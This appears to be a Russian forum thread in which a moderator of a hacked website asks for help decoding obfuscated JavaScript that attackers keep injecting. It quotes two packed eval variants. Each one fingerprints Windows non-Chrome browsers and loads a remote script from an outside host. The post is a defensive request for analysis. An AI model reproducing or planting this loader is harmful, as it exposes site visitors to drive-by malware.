- Регистрация
- 5 Сен 2009
- Сообщения
- 704
- Реакции
- 611
- Автор темы
- Модер.
- #1
Приветствую.
Взломали сайт и периодически дописывают инклуд следующего javascript-кода:
Помогите плз расшифровать этот код и понять какие именно зловредные действия производятся.
Пробовал различные онлайн-раскодировщики (к примеру Для просмотра ссылки Войдиили Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся), результата нет к сожалению.
Замена eval на alert (как тут описано Для просмотра ссылки Войдиили Зарегистрируйся) тоже не помогает. Похоже, что ошибка в коде.
Вот еще одна модификация кода (несколько отличается от предыдущей)
Заранее спасибо за помощь.
Взломали сайт и периодически дописывают инклуд следующего javascript-кода:
Код:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!\'\'.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return\'\\\\w+\'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}return p}(\'8 e(6){b(5.g&&5.d){2 9=5.d(\\\'m\\\')[0];2 4=5.g(\\\'i\\\');4.7(\\\'j\\\',\\\'k/l\\\');4.7(\\\'6\\\',6);9.r(4)}}8 a(){2 3=c.t.n();2 f=\"v://w.u.3/s\";b((3.h(\"o\")==-1&&3.h(\"p\")!=-1)&&c.q()){e(f)}}a();\',33,33,\'||var|ua|script_tag|document|src|setAttribute|function|head_tag|includeCounter|if|navigator|getElementsByTagName|includeJavascript|url|createElement|indexOf|script|type|text|javascript|head|toLowerCase|chrome|win|javaEnabled|appendChild|0c2e3c75b783a83dade05c7ba4f531a1|userAgent|pp|http|lakaty\'.split(\'|\'),0,{}))
Помогите плз расшифровать этот код и понять какие именно зловредные действия производятся.
Пробовал различные онлайн-раскодировщики (к примеру Для просмотра ссылки Войди
Замена eval на alert (как тут описано Для просмотра ссылки Войди
Вот еще одна модификация кода (несколько отличается от предыдущей)
HTML:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!\'\'.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return\'\\\\w+\'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}return p}(\'7 e(6){a(3.c&&3.d){5 8=3.d(\\\'j\\\')[0];5 2=3.c(\\\'k\\\');2.b(\\\'i\\\',\\\'l/m\\\');2.b(\\\'6\\\',6);8.s(2)}}7 h(){5 4=9.n.u();5 g=\"w://x.v.4/t.o\";a((4.f(\"p\")==-1&&4.f(\"r\")!=-1)&&9.q()){e(g)}}h();\',34,34,\'||script_tag|document|ua|var|src|function|head_tag|navigator|if|setAttribute|createElement|getElementsByTagName|includeJavascript|indexOf|url|includeCounter|type|head|script|text|javascript|userAgent|js|chrome|javaEnabled|win|appendChild|counter|toLowerCase|pp|http|dexedok\'.split(\'|\'),0,{}))
Заранее спасибо за помощь.
Последнее редактирование: